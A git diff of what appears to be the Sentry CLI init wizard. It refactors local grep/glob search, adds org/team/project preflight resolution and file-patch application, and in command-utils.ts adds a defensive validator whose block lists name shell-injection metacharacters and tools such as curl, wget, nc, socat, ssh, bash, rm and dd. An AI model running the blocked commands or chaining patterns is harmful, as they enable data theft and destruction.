target, maxResults } = opts; - const args = ["--files", "--hidden", "--glob", pattern, target]; - - const { stdout, exitCode } = await spawnCollect("rg", args, cwd); - - if (exitCode === 1 || (exitCode === 2 && !stdout.trim())) { - return { files: [], truncated: false }; - } - if (exitCode !== 0 && exitCode !== 2) { - throw new Error(`ripgrep failed with exit code ${exitCode}`); - } - - const lines = stdout.split("\n").filter(Boolean); - const truncated = lines.length > maxResults; - const files = lines.slice(0, maxResults).map((f) => path.relative(cwd, f)); - return { files, truncated }; -} - -// ── Node.js fallback (when rg is not installed) ───────────────────── - -/** - * Recursively walk a directory, yielding relative file paths. - * Skips common non-source directories and respects an optional glob filter. - */ -async function* walkFiles( - root: string, - base: string, - globPattern: string | undefined -): AsyncGenerator { - let entries: fs.Dirent[]; - try { - entries = await fs.promises.readdir(base, { withFileTypes: true }); - } catch { - return; - } - for (const entry of entries) { - const full = path.join(base, entry.name); - const rel = path.relative(root, full); - if (entry.isDirectory() && !SKIP_DIRS.has(entry.name)) { - yield* walkFiles(root, full, globPattern); - } else if (entry.isFile()) { - const matchTarget = globPattern?.includes("/") ? rel : entry.name; - if (!globPattern || matchGlob(matchTarget, globPattern)) { - yield rel; - } - } - } -} - -/** Minimal glob matcher — supports `*`, `**`, and `?` wildcards. */ -function matchGlob(name: string, pattern: string): boolean { - const re = pattern - .replace(/[.+^${}()|[\]\\]/g, "\\$&") - .replace(/\*\*/g, "\0") - .replace(/\*/g, "[^/]*") - .replace(/\0/g, ".*") - .replace(/\?/g, "."); - return new RegExp(`^${re}$`).test(name); -} - -/** - * Search files for a regex pattern using Node.js fs. Fallback for when - * ripgrep is not available. - */ -// biome-ignore lint/complexity/noExcessiveCognitiveComplexity: file-walking search with early exits -async function fsGrepSearch(opts: { - cwd: string; - pattern: string; - searchPath: string | undefined; - include: string | undefined; - maxResults: number; -}): Promise<{ matches: GrepMatch[]; truncated: boolean }> { - const { cwd, pattern, searchPath, include, maxResults } = opts; - const target = searchPath ? safePath(cwd, searchPath) : cwd; - let regex: RegExp; - try { - regex = new RegExp(pattern); - } catch { - return { matches: [], truncated: false }; - } - const matches: GrepMatch[] = []; - - for await (const rel of walkFiles(cwd, target, include)) { - if (matches.length > maxResults) { - break; - } - const absPath = path.join(cwd, rel); - let content: string; - try { - const stat = await fs.promises.stat(absPath); - if (stat.size > MAX_FILE_BYTES) { - continue; - } - content = await fs.promises.readFile(absPath, "utf-8"); - } catch { - continue; - } - const lines = content.split("\n"); - for (let i = 0; i < lines.length; i += 1) { - const line = lines[i] ?? ""; - if (regex.test(line)) { - let text = line; - if (text.length > MAX_GREP_LINE_LENGTH) { - text = `${text.substring(0, MAX_GREP_LINE_LENGTH)}…`; - } - matches.push({ path: rel, lineNum: i + 1, line: text }); - if (matches.length > maxResults) { - break; - } - } - } - } - - const truncated = matches.length > maxResults; - if (truncated) { - matches.length = maxResults; - } - return { matches, truncated }; -} - -async function fsGlobSearch(opts: { - cwd: string; - pattern: string; - searchPath: string | undefined; - maxResults: number; -}): Promise<{ files: string[]; truncated: boolean }> { - const { cwd, pattern, searchPath, maxResults } = opts; - const target = searchPath ? safePath(cwd, searchPath) : cwd; - const files: string[] = []; - - for await (const rel of walkFiles(cwd, target, pattern)) { - files.push(rel); - if (files.length > maxResults) { - break; - } - } - - const truncated = files.length > maxResults; - if (truncated) { - files.length = maxResults; - } - return { files, truncated }; -} - -// ── git grep / git ls-files (middle fallback tier) ────────────────── - -const GREP_LINE_RE = /^(.+?):(\d+):(.*)$/; - -function parseGrepOutput( - stdout: string, - maxResults: number, - pathPrefix?: string -): { matches: GrepMatch[]; truncated: boolean } { - const lines = stdout.split("\n").filter(Boolean); - const matches: GrepMatch[] = []; - - for (const line of lines) { - const m = line.match(GREP_LINE_RE); - if (!(m?.[1] && m[2] && m[3] !== null && m[3] !== undefined)) { - continue; - } - const lineNum = Number.parseInt(m[2], 10); - let text: string = m[3]; - if (text.length > MAX_GREP_LINE_LENGTH) { - text = `${text.substring(0, MAX_GREP_LINE_LENGTH)}…`; - } - const filePath = pathPrefix ? path.join(pathPrefix, m[1]) : m[1]; - matches.push({ path: filePath, lineNum, line: text }); - if (matches.length > maxResults) { - break; - } - } - - const truncated = matches.length > maxResults; - if (truncated) { - matches.length = maxResults; - } - return { matches, truncated }; -} - -async function gitGrepSearch(opts: { - cwd: string; - pattern: string; - target: string; - include: string | undefined; - maxResults: number; -}): Promise<{ matches: GrepMatch[]; truncated: boolean }> { - const { cwd, pattern, target, include, maxResults } = opts; - const args = ["grep", "--untracked", "-n", "-E", pattern]; - if (include) { - args.push("--", include); - } - - const { stdout, exitCode } = await spawnCollect("git", args, target); - - if (exitCode === 1) { - return { matches: [], truncated: false }; - } - if (exitCode !== 0) { - throw new Error(`git grep failed with exit code ${exitCode}`); - } - - const prefix = path.relative(cwd, target); - return parseGrepOutput(stdout, maxResults, prefix || undefined); -} - -async function gitLsFiles(opts: { - cwd: string; - pattern: string; - target: string; - maxResults: number; -}): Promise<{ files: string[]; truncated: boolean }> { - const { cwd, pattern, target, maxResults } = opts; - const args = [ - "ls-files", - "--cached", - "--others", - "--exclude-standard", - pattern, - ]; - - const { stdout, exitCode } = await spawnCollect("git", args, target); - - if (exitCode !== 0) { - throw new Error(`git ls-files failed with exit code ${exitCode}`); - } - - const lines = stdout.split("\n").filter(Boolean); - const truncated = lines.length > maxResults; - const files = lines - .slice(0, maxResults) - .map((f) => path.relative(cwd, path.resolve(target, f))); - return { files, truncated }; -} - -// ── Dispatch: rg → git → Node.js ──────────────────────────────────── - -function isGitRepo(dir: string): boolean { - try { - return fs.statSync(path.join(dir, ".git")).isDirectory(); - } catch { - return false; - } -} - -async function grepSearch(opts: { - cwd: string; - pattern: string; - searchPath: string | undefined; - include: string | undefined; - maxResults: number; -}): Promise<{ matches: GrepMatch[]; truncated: boolean }> { - const target = opts.searchPath - ? safePath(opts.cwd, opts.searchPath) - : opts.cwd; - const resolvedOpts = { ...opts, target }; - try { - return await rgGrepSearch(resolvedOpts); - } catch { - if (isGitRepo(opts.cwd)) { - try { - return await gitGrepSearch(resolvedOpts); - } catch { - // fall through to fs - } - } - return await fsGrepSearch(opts); - } -} - -async function globSearchImpl(opts: { - cwd: string; - pattern: string; - searchPath: string | undefined; - maxResults: number; -}): Promise<{ files: string[]; truncated: boolean }> { - const target = opts.searchPath - ? safePath(opts.cwd, opts.searchPath) - : opts.cwd; - const resolvedOpts = { ...opts, target }; - try { - return await rgGlobSearch(resolvedOpts); - } catch { - if (isGitRepo(opts.cwd)) { - try { - return await gitLsFiles(resolvedOpts); - } catch { - // fall through to fs - } - } - return await fsGlobSearch(opts); - } -} - -async function grep(payload: GrepPayload): Promise { - const { cwd, params } = payload; - const maxResults = params.maxResultsPerSearch ?? MAX_GREP_RESULTS_PER_SEARCH; - - const results = await Promise.all( - params.searches.map(async (search) => { - const { matches, truncated } = await grepSearch({ - cwd, - pattern: search.pattern, - searchPath: search.path, - include: search.include, - maxResults, - }); - return { pattern: search.pattern, matches, truncated }; - }) - ); - - return { ok: true, data: { results } }; -} - -async function glob(payload: GlobPayload): Promise { - const { cwd, params } = payload; - const maxResults = params.maxResults ?? MAX_GLOB_RESULTS; - - const results = await Promise.all( - params.patterns.map(async (pattern) => { - const { files, truncated } = await globSearchImpl({ - cwd, - pattern, - searchPath: params.path, - maxResults, - }); - return { pattern, files, truncated }; - }) - ); - - return { ok: true, data: { results } }; -} - -// ── Sentry project + DSN ──────────────────────────────────────────── - -async function createSentryProject( - payload: CreateSentryProjectPayload, - options: WizardOptions -): Promise { - // Use CLI-provided project name if available, otherwise use wizard-detected name - const name = options.project ?? payload.params.name; - const { platform } = payload.params; - const slug = slugify(name); - if (!slug) { - return { - ok: false, - error: `Invalid project name: "${name}" produces an empty slug.`, - }; - } - - // In dry-run mode, skip all API calls and return placeholder data - if (options.dryRun) { - return { - ok: true, - data: { - orgSlug: options.org ?? "(dry-run)", - projectSlug: slug, - projectId: "(dry-run)", - dsn: "https://key@o0.ingest.sentry.io/0", - url: "https://sentry.io/dry-run", - }, - }; - } - - // org is always set by resolvePreSpinnerOptions before this runs - if (!options.org) { - return { - ok: false, - error: "Internal error: org not resolved before createSentryProject.", - }; - } - - try { - const orgSlug = options.org; - - // If both org and project are set, check if the project already exists. - // This avoids a 409 Conflict when re-running init on an existing project - // (e.g. `sentry init acme/my-app` run twice). - if (options.org && options.project) { - const existing = await tryGetExistingProject(orgSlug, slug); - if (existing) { - return { - ...existing, - message: `Using existing project "${slug}" in ${orgSlug}`, - }; - } - } - - // 4. Resolve or create team - const team = await resolveOrCreateTeam(orgSlug, { - team: options.team, - autoCreateSlug: slug, - usageHint: "sentry init", - }); - - // 5. Create project, fetch DSN, and build URL - const { project, dsn, url } = await createProjectWithDsn( - orgSlug, - team.slug, - { name, platform } - ); - - return { - ok: true, - data: { - orgSlug, - projectSlug: project.slug, - projectId: project.id, - dsn: dsn ?? "", - url, - }, - }; - } catch (error) { - return { ok: false, error: formatLocalOpError(error) }; - } -} - -/** Format an error from a local-op into a user-facing message string. */ -function formatLocalOpError(error: unknown): string { - if (error instanceof ApiError) { - return error.format(); - } - if (error instanceof Error) { - return error.message; - } - return String(error); -} diff --git a/src/lib/init/prefetch.ts b/src/lib/init/org-prefetch.ts similarity index 92% rename from src/lib/init/prefetch.ts rename to src/lib/init/org-prefetch.ts index c2ca8f75c..b0d8fe700 100644 --- a/src/lib/init/prefetch.ts +++ b/src/lib/init/org-prefetch.ts @@ -13,9 +13,8 @@ * without any HTTP requests. Only `resolveOrg()` (DSN scanning) benefits * from background prefetching since it performs filesystem I/O. * - * This keeps the hot path (inside the wizard's `createSentryProject`) - * free of explicit promise-threading — callers just swap in the - * prefetch-aware functions. + * This keeps init preflight free of explicit promise-threading — callers + * just swap in the prefetch-aware functions. */ import type { ResolvedOrg } from "../resolve-target.js"; diff --git a/src/lib/init/preflight.ts b/src/lib/init/preflight.ts new file mode 100644 index 000000000..d3cc1ecd3 --- /dev/null +++ b/src/lib/init/preflight.ts @@ -0,0 +1,386 @@ +import { cancel, isCancel, log, select } from "@clack/prompts"; +import type { SentryTeam } from "../../types/index.js"; +import { listOrganizations } from "../api-client.js"; +import { getAuthToken } from "../db/auth.js"; +import { WizardError } from "../errors.js"; +import { resolveOrCreateTeam } from "../resolve-team.js"; +import { slugify } from "../utils.js"; +import { WizardCancelledError } from "./clack-utils.js"; +import { tryGetExistingProjectData } from "./existing-project.js"; +import { resolveOrgPrefetched } from "./org-prefetch.js"; +import type { + ExistingProjectData, + ResolvedInitContext, + WizardOptions, +} from "./types.js"; + +const NUMERIC_ORG_ID_RE = /^\d+$/; + +type ExistingProjectChoice = { + project?: string; + existingProject?: ExistingProjectData; + shouldAbort?: boolean; +}; + +type InitContextSeed = { + org?: string; + project?: string; + existingProject?: ExistingProjectData; +}; + +type ProjectSelection = Pick< + ResolvedInitContext, + "project" | "existingProject" +>; + +/** + * Resolve org, project, team, and auth state before the init workflow starts. + */ +export async function resolveInitContext( + initial: WizardOptions +): Promise { + return await withPreflightHandling(async () => { + const seed = await resolveInitContextSeed(initial); + if (!seed) { + return null; + } + + const org = await ensureOrg(seed.org, initial); + const projectSelection = await resolveProjectSelection(org, initial, seed); + if (!projectSelection) { + return null; + } + + const team = await resolveTeam(org, initial); + + return buildResolvedInitContext(initial, org, team, projectSelection); + }); +} + +async function withPreflightHandling( + action: () => Promise +): Promise { + try { + return await action(); + } catch (error) { + if (error instanceof WizardCancelledError) { + cancel("Setup cancelled."); + process.exitCode = 0; + return null; + } + + const message = error instanceof Error ? error.message : String(error); + log.error(message); + cancel("Setup failed."); + throw error instanceof WizardError ? error : new WizardError(message); + } +} + +function buildResolvedInitContext( + initial: WizardOptions, + org: string, + team: string | undefined, + selection: ProjectSelection +): ResolvedInitContext { + return { + directory: initial.directory, + yes: initial.yes, + dryRun: initial.dryRun, + features: initial.features, + org, + team, + project: selection.project, + authToken: getAuthToken(), + existingProject: selection.existingProject, + }; +} + +async function resolveInitContextSeed( + initial: WizardOptions +): Promise { + const detected = await resolveDetectedProject(initial); + if (detected?.shouldAbort) { + return null; + } + + return { + org: detected?.org ?? initial.org, + project: detected?.project ?? initial.project, + existingProject: detected?.existingProject, + }; +} + +async function ensureOrg( + org: string | undefined, + initial: WizardOptions +): Promise { + if (org) { + return org; + } + + const orgResult = await resolveOrgSlug(initial.directory, initial.yes); + if (typeof orgResult === "string") { + return orgResult; + } + + throw new WizardError(orgResult.error ?? "Failed to resolve organization."); +} + +async function resolveProjectSelection( + org: string, + initial: WizardOptions, + seed: InitContextSeed +): Promise { + if (!seed.project) { + return { + project: seed.project, + existingProject: seed.existingProject, + }; + } + + const resolved = await resolveExistingProjectChoice({ + org, + project: seed.project, + yes: initial.yes, + promptOnExisting: Boolean(initial.project && !initial.org), + }); + if (resolved.shouldAbort) { + return null; + } + + return mergeProjectSelection(seed, resolved); +} + +function mergeProjectSelection( + seed: InitContextSeed, + resolved: ExistingProjectChoice +): ProjectSelection { + const project = "project" in resolved ? resolved.project : seed.project; + const clearedProject = + "project" in resolved && resolved.project === undefined; + + return { + project, + existingProject: clearedProject + ? undefined + : (resolved.existingProject ?? seed.existingProject), + }; +} + +async function resolveDetectedProject(initial: WizardOptions): Promise<{ + org?: string; + project?: string; + existingProject?: ExistingProjectData; + shouldAbort?: boolean; +} | null> { + if (initial.org || initial.project) { + return null; + } + + let detectedProject: { orgSlug: string; projectSlug: string } | null = null; + try { + detectedProject = await detectExistingProject(initial.directory); + } catch { + return null; + } + if (!detectedProject) { + return null; + } + + const existingProject = await tryGetExistingProjectData( + detectedProject.orgSlug, + detectedProject.projectSlug + ).catch(() => null); + + if (initial.yes) { + return { + org: detectedProject.orgSlug, + project: detectedProject.projectSlug, + ...(existingProject ? { existingProject } : {}), + }; + } + + const choice = await select({ + message: "Found an existing Sentry project in this codebase.", + options: [ + { + value: "existing" as const, + label: `Use existing project (${detectedProject.orgSlug}/${detectedProject.projectSlug})`, + hint: "Sentry is already configured here", + }, + { + value: "create" as const, + label: "Create a new Sentry project", + }, + ], + }); + if (isCancel(choice)) { + throw new WizardCancelledError(); + } + if (choice === "existing") { + return { + org: detectedProject.orgSlug, + project: detectedProject.projectSlug, + ...(existingProject ? { existingProject } : {}), + }; + } + + return {}; +} + +async function resolveExistingProjectChoice(opts: { + org: string; + project: string; + yes: boolean; + promptOnExisting: boolean; +}): Promise { + const slug = slugify(opts.project); + if (!slug) { + return { project: opts.project }; + } + + const existingProject = await tryGetExistingProjectData(opts.org, slug).catch( + () => null + ); + if (!existingProject) { + return { project: opts.project }; + } + + if (!opts.promptOnExisting || opts.yes) { + return { + project: existingProject.projectSlug, + existingProject, + }; + } + + const choice = await select({ + message: `Found existing project '${slug}' in ${opts.org}.`, + options: [ + { + value: "existing" as const, + label: `Use existing (${opts.org}/${slug})`, + hint: "Already configured", + }, + { + value: "create" as const, + label: "Create a new project", + hint: "Wizard will detect the project name from your codebase", + }, + ], + }); + if (isCancel(choice)) { + throw new WizardCancelledError(); + } + if (choice === "create") { + return { project: undefined }; + } + + return { + project: existingProject.projectSlug, + existingProject, + }; +} + +async function resolveTeam( + org: string, + initial: WizardOptions +): Promise { + try { + const result = await resolveOrCreateTeam(org, { + team: initial.team, + usageHint: "sentry init", + dryRun: initial.dryRun, + deferAutoCreateOnEmptyOrg: true, + onAmbiguous: initial.yes + ? async (candidates) => (candidates[0] as SentryTeam).slug + : async (candidates) => { + const selected = await select({ + message: "Which team should own this project?", + options: candidates.map((team) => ({ + value: team.slug, + label: team.slug, + hint: team.name !== team.slug ? team.name : undefined, + })), + }); + if (isCancel(selected)) { + throw new WizardCancelledError(); + } + return selected; + }, + }); + return result.source === "deferred" ? undefined : result.slug; + } catch (error) { + if (error instanceof WizardCancelledError) { + throw error; + } + throw error instanceof WizardError + ? error + : new WizardError(error instanceof Error ? error.message : String(error)); + } +} + +async function resolveOrgSlug( + cwd: string, + yes: boolean +): Promise { + const resolved = await resolveOrgPrefetched(cwd); + if (resolved && !NUMERIC_ORG_ID_RE.test(resolved.org)) { + return resolved.org; + } + + const orgs = await listOrganizations(); + if (orgs.length === 0) { + return { + ok: false, + error: "Not authenticated. Run 'sentry login' first.", + }; + } + if (orgs.length === 1 && orgs[0]) { + return orgs[0].slug; + } + + if (yes) { + const slugs = orgs.map((org) => org.slug).join(", "); + return { + ok: false, + error: `Multiple organizations found (${slugs}). Set SENTRY_ORG to specify which one.`, + }; + } + + const selected = await select({ + message: "Which organization should the project be created in?", + options: orgs.map((org) => ({ + value: org.slug, + label: org.name, + hint: org.slug, + })), + }); + if (isCancel(selected)) { + throw new WizardCancelledError(); + } + return selected; +} + +async function detectExistingProject( + cwd: string +): Promise<{ orgSlug: string; projectSlug: string } | null> { + const { detectDsn } = await import("../dsn/index.js"); + const dsn = await detectDsn(cwd); + if (!dsn?.publicKey) { + return null; + } + + try { + const { resolveDsnByPublicKey } = await import("../resolve-target.js"); + const resolved = await resolveDsnByPublicKey(dsn); + if (!resolved) { + return null; + } + return { + orgSlug: resolved.org, + projectSlug: resolved.project, + }; + } catch { + return null; + } +} diff --git a/src/lib/init/tools/apply-patchset.ts b/src/lib/init/tools/apply-patchset.ts new file mode 100644 index 000000000..346ad4e61 --- /dev/null +++ b/src/lib/init/tools/apply-patchset.ts @@ -0,0 +1,199 @@ +import fs from "node:fs"; +import path from "node:path"; +import { replace } from "../replacers.js"; +import type { + ApplyPatchsetPatch, + ApplyPatchsetPayload, + ToolResult, +} from "../types.js"; +import { safePath } from "./shared.js"; +import type { InitToolDefinition, ToolContext } from "./types.js"; + +/** Pattern matching empty or placeholder SENTRY_AUTH_TOKEN values in env files. */ +const EMPTY_AUTH_TOKEN_RE = + /^(SENTRY_AUTH_TOKEN[ \t]*=[ \t]*)(?:['"]?[ \t]*['"]?)?[ \t]*$/m; +const PATH_SEGMENT_RE = /[/\\]/u; + +const VALID_PATCH_ACTIONS = new Set(["create", "modify", "delete"]); + +/** + * Apply a batch of file creates, modifications, and deletes. + */ +export async function applyPatchset( + payload: ApplyPatchsetPayload, + context: Pick +): Promise { + if (context.dryRun) { + return applyPatchsetDryRun(payload); + } + + for (const patch of payload.params.patches) { + safePath(payload.cwd, patch.path); + if (!VALID_PATCH_ACTIONS.has(patch.action)) { + return { + ok: false, + error: `Unknown patch action: "${patch.action}" for path "${patch.path}"`, + }; + } + } + + const applied: Array<{ path: string; action: string }> = []; + + for (const patch of payload.params.patches) { + const absPath = safePath(payload.cwd, patch.path); + + if (patch.action === "modify") { + try { + await fs.promises.access(absPath); + } catch { + return { + ok: false, + error: `Cannot modify "${patch.path}": file does not exist`, + data: { applied }, + }; + } + } + + await applySinglePatch(absPath, patch, context.authToken); + applied.push({ path: patch.path, action: patch.action }); + } + + return { ok: true, data: { applied } }; +} + +function applyPatchsetDryRun(payload: ApplyPatchsetPayload): ToolResult { + const applied: Array<{ path: string; action: string }> = []; + + for (const patch of payload.params.patches) { + safePath(payload.cwd, patch.path); + if (!VALID_PATCH_ACTIONS.has(patch.action)) { + return { + ok: false, + error: `Unknown patch action: "${patch.action}" for path "${patch.path}"`, + }; + } + applied.push({ path: patch.path, action: patch.action }); + } + + return { ok: true, data: { applied } }; +} + +async function applySinglePatch( + absPath: string, + patch: ApplyPatchsetPatch, + authToken?: string +): Promise { + switch (patch.action) { + case "create": { + await fs.promises.mkdir(path.dirname(absPath), { recursive: true }); + const content = resolvePatchContent( + patch as ApplyPatchsetPatch & { patch: string }, + authToken + ); + await fs.promises.writeFile(absPath, content, "utf-8"); + break; + } + case "modify": { + const content = await applyEdits(absPath, patch.path, patch.edits); + await fs.promises.writeFile(absPath, content, "utf-8"); + break; + } + case "delete": { + try { + await fs.promises.unlink(absPath); + } catch (error) { + if ((error as NodeJS.ErrnoException).code !== "ENOENT") { + throw error; + } + } + break; + } + default: + break; + } +} + +function resolvePatchContent( + patch: { path: string; patch: string }, + authToken?: string +): string { + let content = patch.path.endsWith(".json") + ? prettyPrintJson(patch.patch) + : patch.patch; + + if (authToken && isEnvFile(patch.path) && EMPTY_AUTH_TOKEN_RE.test(content)) { + content = content.replace( + EMPTY_AUTH_TOKEN_RE, + (_, prefix) => `${prefix}${authToken}` + ); + } + + return content; +} + +function prettyPrintJson(content: string): string { + try { + return `${JSON.stringify(JSON.parse(content), null, 2)}\n`; + } catch { + return content; + } +} + +function isEnvFile(filePath: string): boolean { + const name = filePath.split(PATH_SEGMENT_RE).at(-1) ?? ""; + return name === ".env" || name.startsWith(".env."); +} + +async function applyEdits( + absPath: string, + filePath: string, + edits: Array<{ oldString: string; newString: string }> +): Promise { + let content = await fs.promises.readFile(absPath, "utf-8"); + + for (let i = 0; i < edits.length; i += 1) { + const edit = edits[i]; + if (!edit) { + continue; + } + try { + content = replace(content, edit.oldString, edit.newString); + } catch (error) { + throw new Error( + `Edit #${i + 1} failed on "${filePath}": ${error instanceof Error ? error.message : String(error)}` + ); + } + } + + return content; +} + +/** + * Tool definition for file patch application. + */ +export const applyPatchsetTool: InitToolDefinition<"apply-patchset"> = { + operation: "apply-patchset", + describe: (payload) => { + const [first] = payload.params.patches; + if (payload.params.patches.length === 1 && first) { + const verb = patchActionVerb(first.action); + const fileName = first.path.split(PATH_SEGMENT_RE).at(-1) ?? first.path; + return `${verb} \`${fileName}\`...`; + } + return `Applying ${payload.params.patches.length} file changes...`; + }, + execute: applyPatchset, +}; + +function patchActionVerb(action: ApplyPatchsetPatch["action"]): string { + switch (action) { + case "create": + return "Creating"; + case "modify": + return "Modifying"; + case "delete": + return "Deleting"; + default: + return "Updating"; + } +} diff --git a/src/lib/init/tools/command-utils.ts b/src/lib/init/tools/command-utils.ts new file mode 100644 index 000000000..f78b0a991 --- /dev/null +++ b/src/lib/init/tools/command-utils.ts @@ -0,0 +1,348 @@ +import path from "node:path"; +import type { ReadableStream } from "node:stream/web"; +import { MAX_OUTPUT_BYTES } from "../constants.js"; + +/** Characters treated as command token separators. */ +const WHITESPACE_CHAR_RE = /\s/u; + +/** + * Patterns that indicate shell injection. Commands run via `Bun.spawn` + * without a shell, so these patterns are defense-in-depth for chaining, + * piping, redirection, and command substitution. + */ +const SHELL_METACHARACTER_PATTERNS: Array<{ pattern: string; label: string }> = + [ + { pattern: ";", label: "command chaining (;)" }, + { pattern: "&&", label: "command chaining (&&)" }, + { pattern: "||", label: "command chaining (||)" }, + { pattern: "|", label: "piping (|)" }, + { pattern: "&", label: "background execution (&)" }, + { pattern: "`", label: "command substitution (`)" }, + { pattern: "$(", label: "command substitution ($()" }, + { pattern: "\n", label: "newline" }, + { pattern: "\r", label: "carriage return" }, + { pattern: ">", label: "redirection (>)" }, + { pattern: "<", label: "redirection (<)" }, + ]; + +/** + * Executables that should never appear in a workflow-provided command. + */ +const BLOCKED_EXECUTABLES = new Set([ + "rm", + "rmdir", + "del", + "curl", + "wget", + "nc", + "ncat", + "netcat", + "socat", + "telnet", + "ftp", + "sudo", + "su", + "doas", + "chmod", + "chown", + "chgrp", + "kill", + "killall", + "pkill", + "shutdown", + "reboot", + "halt", + "poweroff", + "dd", + "mkfs", + "fdisk", + "mount", + "umount", + "ssh", + "scp", + "sftp", + "bash", + "sh", + "zsh", + "fish", + "csh", + "dash", + "eval", + "exec", + "env", + "xargs", +]); + +type CommandQuote = '"' | "'"; + +type TokenizeState = { + tokens: string[]; + current: string; + tokenStarted: boolean; + quote?: CommandQuote; +}; + +type SpawnOutputStream = + | NodeJS.ReadableStream + | ReadableStream + | null + | undefined; + +export type ParsedCommand = { + original: string; + executable: string; + args: string[]; +}; + +function isCommandWhitespace(char: string): boolean { + return WHITESPACE_CHAR_RE.test(char); +} + +function pushCurrentToken(state: TokenizeState): void { + if (!state.tokenStarted) { + return; + } + + state.tokens.push(state.current); + state.current = ""; + state.tokenStarted = false; +} + +function appendEscapedUnquotedChar( + state: TokenizeState, + command: string, + index: number +): number | undefined { + const next = command[index + 1]; + if ( + next && + (isCommandWhitespace(next) || next === "'" || next === '"' || next === "\\") + ) { + state.current += next; + state.tokenStarted = true; + return index + 1; + } + + return; +} + +function handleUnquotedChar( + state: TokenizeState, + command: string, + index: number +): number { + const char = command[index]; + if (!char) { + return index; + } + + if (isCommandWhitespace(char)) { + pushCurrentToken(state); + return index; + } + + if (char === "'" || char === '"') { + state.quote = char; + state.tokenStarted = true; + return index; + } + + if (char === "\\") { + const escapedIndex = appendEscapedUnquotedChar(state, command, index); + if (escapedIndex !== undefined) { + return escapedIndex; + } + } + + state.current += char; + state.tokenStarted = true; + return index; +} + +function handleSingleQuotedChar(state: TokenizeState, char: string): void { + if (char === "'") { + state.quote = undefined; + return; + } + + state.current += char; +} + +function handleDoubleQuotedChar( + state: TokenizeState, + command: string, + index: number +): number { + const char = command[index]; + if (!char) { + return index; + } + + if (char === '"') { + state.quote = undefined; + return index; + } + + if (char === "\\") { + const next = command[index + 1]; + if (next && (next === '"' || next === "\\" || next === "$")) { + state.current += next; + return index + 1; + } + } + + state.current += char; + return index; +} + +/** + * Tokenize a command string into an argv-compatible array without invoking a shell. + */ +export function tokenizeCommand(command: string): string[] { + const state: TokenizeState = { + tokens: [], + current: "", + tokenStarted: false, + }; + + for (let i = 0; i < command.length; i += 1) { + const char = command[i]; + if (!char) { + continue; + } + + if (!state.quote) { + i = handleUnquotedChar(state, command, i); + continue; + } + + if (state.quote === "'") { + handleSingleQuotedChar(state, char); + continue; + } + + i = handleDoubleQuotedChar(state, command, i); + } + + if (state.quote) { + throw new Error( + `Invalid command: unterminated ${state.quote === '"' ? "double" : "single"} quote — "${command}"` + ); + } + + pushCurrentToken(state); + return state.tokens; +} + +/** + * Parse a command string into an executable plus argv-style arguments. + */ +export function parseCommand(command: string): ParsedCommand { + const [executable = "", ...args] = tokenizeCommand(command); + return { + original: command, + executable, + args, + }; +} + +/** + * Validate a command before execution. + */ +export function validateCommand(command: string): string | undefined { + for (const { pattern, label } of SHELL_METACHARACTER_PATTERNS) { + if (command.includes(pattern)) { + return `Blocked command: contains ${label} — "${command}"`; + } + } + + let firstToken: string; + try { + [firstToken = ""] = tokenizeCommand(command); + } catch (error) { + return error instanceof Error ? error.message : String(error); + } + + if (!firstToken) { + return "Blocked command: empty command"; + } + + if (firstToken.includes("=")) { + return `Blocked command: contains environment variable assignment — "${command}"`; + } + + const executable = path.basename(firstToken); + if (BLOCKED_EXECUTABLES.has(executable)) { + return `Blocked command: disallowed executable "${executable}" — "${command}"`; + } + + return; +} + +async function readWebStream( + stream: ReadableStream +): Promise { + const reader = stream.getReader(); + const chunks: Buffer[] = []; + let totalBytes = 0; + + try { + for (;;) { + const { done, value } = await reader.read(); + if (done) { + break; + } + if (!value || totalBytes >= MAX_OUTPUT_BYTES) { + continue; + } + + const buffer = Buffer.from(value); + const remaining = MAX_OUTPUT_BYTES - totalBytes; + chunks.push(buffer.subarray(0, remaining)); + totalBytes += Math.min(buffer.length, remaining); + } + } finally { + reader.releaseLock(); + } + + return Buffer.concat(chunks).toString("utf-8"); +} + +async function readNodeStream(stream: NodeJS.ReadableStream): Promise { + return await new Promise((resolve, reject) => { + const chunks: Buffer[] = []; + let totalBytes = 0; + + stream.on("data", (chunk: Buffer | string) => { + if (totalBytes >= MAX_OUTPUT_BYTES) { + return; + } + + const buffer = Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk); + const remaining = MAX_OUTPUT_BYTES - totalBytes; + chunks.push(buffer.subarray(0, remaining)); + totalBytes += Math.min(buffer.length, remaining); + }); + stream.on("end", () => { + resolve(Buffer.concat(chunks).toString("utf-8")); + }); + stream.on("error", reject); + }); +} + +/** + * Drain a spawned stdout/stderr stream while enforcing output truncation. + */ +export async function readSpawnOutput( + stream: SpawnOutputStream +): Promise { + if (!stream) { + return ""; + } + + if (typeof (stream as ReadableStream).getReader === "function") { + return await readWebStream(stream as ReadableStream); + } + + return await readNodeStream(stream as NodeJS.ReadableStream); +} diff --git a/src/lib/init/tools/create-sentry-project.ts b/src/lib/init/tools/create-sentry-project.ts new file mode 100644 index 000000000..d8d06d926 --- /dev/null +++ b/src/lib/init/tools/create-sentry-project.ts @@ -0,0 +1,109 @@ +import { createProjectWithDsn } from "../../api-client.js"; +import { resolveOrCreateTeam } from "../../resolve-team.js"; +import { slugify } from "../../utils.js"; +import { tryGetExistingProjectData } from "../existing-project.js"; +import type { CreateSentryProjectPayload, ToolResult } from "../types.js"; +import { formatToolError } from "./shared.js"; +import type { InitToolDefinition, ToolContext } from "./types.js"; + +/** + * Create a new Sentry project using the org that preflight already resolved. + * Team creation is deferred here for empty-org init flows so the final project + * slug can be reused as the team slug. + */ +export async function createSentryProject( + payload: CreateSentryProjectPayload, + context: Pick< + ToolContext, + "dryRun" | "existingProject" | "org" | "team" | "project" + > +): Promise { + const name = context.project ?? payload.params.name; + const slug = slugify(name); + if (!slug) { + return { + ok: false, + error: `Invalid project name: "${name}" produces an empty slug.`, + }; + } + + if (context.existingProject) { + return { + ok: true, + message: `Using existing project "${context.existingProject.projectSlug}" in ${context.existingProject.orgSlug}`, + data: context.existingProject, + }; + } + + try { + if (context.project) { + const existingProject = await tryGetExistingProjectData( + context.org, + slug + ); + if (existingProject) { + return { + ok: true, + message: `Using existing project "${existingProject.projectSlug}" in ${existingProject.orgSlug}`, + data: existingProject, + }; + } + } + + const teamSlug = context.team + ? context.team + : ( + await resolveOrCreateTeam(context.org, { + autoCreateSlug: slug, + usageHint: "sentry init", + dryRun: context.dryRun, + }) + ).slug; + + if (context.dryRun) { + return { + ok: true, + data: { + orgSlug: context.org, + projectSlug: slug, + projectId: "(dry-run)", + dsn: "https://key@o0.ingest.sentry.io/0", + url: "https://sentry.io/dry-run", + }, + }; + } 